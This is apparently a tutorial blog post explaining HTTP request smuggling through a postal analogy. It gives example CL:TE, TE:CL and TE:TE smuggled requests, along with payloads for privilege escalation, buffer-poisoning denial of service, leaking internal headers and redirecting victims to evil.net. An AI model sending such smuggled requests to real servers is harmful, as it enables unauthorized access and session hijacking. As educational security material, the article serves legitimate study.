What is HTTP Request Smuggling?
Consider this scenario: A parcel must pass through two post offices before reaching its destination.
- Post Office A is the security check and its role is to check if the destination address is allowed.
- Post Office B simply delivers whatever parcels it receives — no questions asked.
Now let's say I want to smuggle a malicious box to some internal address, which Post Office A usually blocks. I put the malicious box in an outer box, each box is 10kg. I stick a label with a valid address on the outer box and also indicate: "Total weight 20 kg. 2 boxes."
- A reads that label, checks that the total weight is 20kg, and forwards it.
- B, however, ignores the weight, but saw that the label says 2 boxes. B opens the parcel to check and finds that the outer box is 10kg and the inner box is 10kg.
- B assumes there are two parcels and dutifully delivers the outer box to VALID_ADD, the inner box to INTERNAL_ADD (which should have been blocked by A).
Impact: I manage to get a forbidden parcel (hidden request) delivered past the security check at A!
That's essentially what HTTP request smuggling is about. In modern web applications, HTTP requests often pass through multiple servers to be processed.
In the postal analogy Post Office A is the front-end proxy/load-balancer (the security gate) and Post Office B is the origin/back-end server. The front-end and back-end sometimes 'read' a HTTP request differently, allowing malicious requests to be smuggled in.
Let's examine exactly how this works.
2 Different Ways to Interpret Content Headers
When an HTTP server (or proxy) needs to know where the request ends, it must determine the length of the message body. There are two common, fundamentally different ways this is done — and differences between them are exactly what request-smuggling exploits.
Content-Length (CL):
What it is: a header that says exactly how many bytes the body contains.
POST /upload HTTP/1.1
Host: example.com
Content-Length: 27
<27 bytes of body data here...>The parser reads the headers, sees Content-Length: 27, then reads exactly 27 bytes from the TCP stream and treats that as the entire request body
Transfer-Encoding (TE) — Chunked:
What it is: the body is sent in chunks, each chunk prefixed with its size in hexadecimal; a zero-length chunk marks the end.
POST /submit HTTP/1.1
Host: good.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
c
SmuggledData
0In this example, "c" (in hexadecimal, equivalent to 12 in decimal) specifies the size of the following chunk. The chunk SmuggledData is the actual data, followed by a new line. The "0" line indicates the end of the message body.
How to Smuggle Requests?
We want to exploit interpretation discrepancies of front-end and back-end servers, so that our full HTTP request passes through the front-end server, while at the back-end, it is interpreted as 2 separate requests.
Request Smuggling with CL:TE
CL:TE here is used to refer to situations where:
- front end server uses the CL header in determining where a request ends, while
- back end server uses the TE header
Relating to the above scenario, the Content-Length is like the total contents weight label, while Transfer-Encoding is like the number of boxes label.
Below is an example of how a malicious request might look in a CL:TE situation.
POST /search HTTP/1.1
Host: example.com
Content-Length: 93
Transfer-Encoding: chunked
0
POST /update/attacker_id HTTP/1.1
Host: example.com
Content-Length: 12
isadmin=trueIn this example, the front-end server reads the CL and treats this as a single request and forwards it on. The back-end server, however, sees this as 2 requests.
EVENT: Malicious Request (with the smuggled request) arrives at Backend
↓
BACKEND: "Oh, Transfer-Encoding: chunked! Let me process chunks..."
BACKEND: Sees '0' → "Okay, end of request! I'm done."
BACKEND: "I'll leave whatever's after this for the next request"
↓
EVENT: A new request arrives
↓
BACKEND: "New request! Let me read from my buffer..."
BACKEND: Reads "POST /update/attacker_id..." from buffer
BACKEND: "This looks like a new request! Let me process it."The second (malicious) request, which should have been blocked from reaching the internal server, now results in the attacker being updated to become an admin.
### It is important to note:
- The first line must be a POST request as GET requests do not have a body
- HTTP/1.1 must be used, not HTTP/2
- The 'chunk' format must be very precise: chunk size in hexadecimal followed by "\r\n", chunk data followed by "\r\n", and then terminated by "0" and "\r\n\r\n".
Request Smuggling with TE:CL
TE:CL scenario is similar — we just need to tweak the content-length and chunk sizes, so the front thinks it is one request, while the back thinks this is two separate requests.
POST / HTTP/1.1
Host: example.com
Content-Length: 4
Transfer-Encoding: chunked
58
POST /update/attacker_id HTTP/1.1
Host: example.com
Content-Length: 12
isadmin=true
0Request smuggling with TE:TE
Sometimes, front-end and back-end servers may both use TE headers, but interpret them differently when they encounter malformed TE headers.
In the following example, there is an extra malformed "Transfer-Encoding: chunked1" header. Smuggling can happen when:
- The front-end may just ignore and forward the whole request, while
- The back-end server treat the TE header as malformed and uses the CL instead, hence treating as 2 separate requests.
POST / HTTP/1.1
Host: example.com
Content-length: 4
Transfer-Encoding: chunked
Transfer-Encoding: chunked1
58
POST /update/attacker_id HTTP/1.1
Host: example.com
Content-length: 12
isadmin=true
0What damage can http request smuggling cause?
When a smuggled request reaches the back-end unnoticed by the front gate, many bad things become possible.
In this section, for simplicity, we will assume a malicious request to be of the below CL:TE form. We focus on the portion <smuggled request> which is the part that will reach the back-end server as a separate request:
POST /example HTTP/1.1
Host: example.com
Content-Length: <whole message length>
Transfer-Encoding: chunked
0
<smuggled request>Many of the the examples below are taken from Portswigger's research which can be found here. I've simplified them to make it easier to understand conceptually.
1. Access to internal endpoints:
In the below example, our smuggled request hits an internal endpoint that results in attacker being an admin.
POST /update/attacker_id HTTP/1.1
Host: 127.0.0.1
Content-Length: 12
isadmin=true2. Session hijacking — Denial of Service
Assume we smuggle a single letter X to the back-end. It sits in the backend buffer.
XWhen the next user's request arrives, 'X' is appended and the request becomes malformed:
XPOST / HTTP/1.1
Host: example.com
...This will result in the user's request getting an error.
3. Stealing internal headers:
Sometimes the front-end server adds headers to the back-end server — it's like little notes that the front-end wants to tell the back-end — like "Hey, this request is from internal. Give him what he needs". For more advanced attacks, we need to know these headers.
Let's say we find a webpage that reflects what you typed, like a search page that says "You searched for 'red-riding-hood'. We send the following request:
//This is the first request posted by attacker
POST /example HTTP/1.1
Host: example.com
Content-Length: <whole message length>
Transfer-Encoding: chunked
0
POST /search HTTP/1.1
Host: example.com
Transfer-Encoding: chunked
a9
search=red-riding-hoodWe immediately send another of the same search request, which the front-end server adds their usual extra instructions "x-nr-external-service: external". It sends this to the back-end.
POST /search HTTP/1.1
Host: example.com
Content-Length: <whole message length>
Transfer-Encoding: chunked
x-nr-external-service: external
a9
search=red-riding-hoodThe back-end thinks this is a continuation of the earlier request, and appends to the earlier buffer, until it counts a chunk of 'a9' bytes.
POST /search HTTP/1.1
Host: example.com
Transfer-Encoding: chunked
a9
search=red-riding-hoodPOST /search HTTP/1.1
Host: example.com
Content-Length: <whole message length>
Transfer-Encoding: chunked
x-nr-external-service: external
a9Back-end treats this as a normal search and responds with the below, which the front-end forwards to the attacker. The attacker now knows what is the internal header and can use it for subsequent attacks.
You searched for:
"red-riding-hoodPOST /search HTTP/1.1
Host: example.com
Transfer-Encoding: chunked
x-nr-external-service: external
a9"4. Session hijacking — Redirecting user to malicious webpage
Suppose we find a open redirect link and smuggle the payload below to the backend.
POST /search?redir=//redhat.com@evil.net/ HTTP/1.1
Host: www.redhat.com
Content-Length: 15
x=Another user submits a normal GET request, which gets appended to our malicious payload at the back-end. This results in the user getting the response to this combined request, which redirects him to evil.net.
POST /search?redir=//redhat.com@evil.net/ HTTP/1.1
Host: www.redhat.com
Content-Length: 15
x=GET / HTTP/1.1
Host: www.redhat.comConclusion
HTTP Request Smuggling is a subtle yet devastating vulnerability that arises from a simple lack of consensus. When a front-end server and a back-end server disagree on where one request ends and the next begins, a malicious actor can slip a hidden, unauthorized request through the gates. As we've seen, the consequences are severe — from granting admin privileges and stealing sensitive data to hijacking user sessions and taking down services.
This article is a distillation and simplication of some of my learnings from the impressive research by PortSwigger. If you find any errors, please feel free to message me.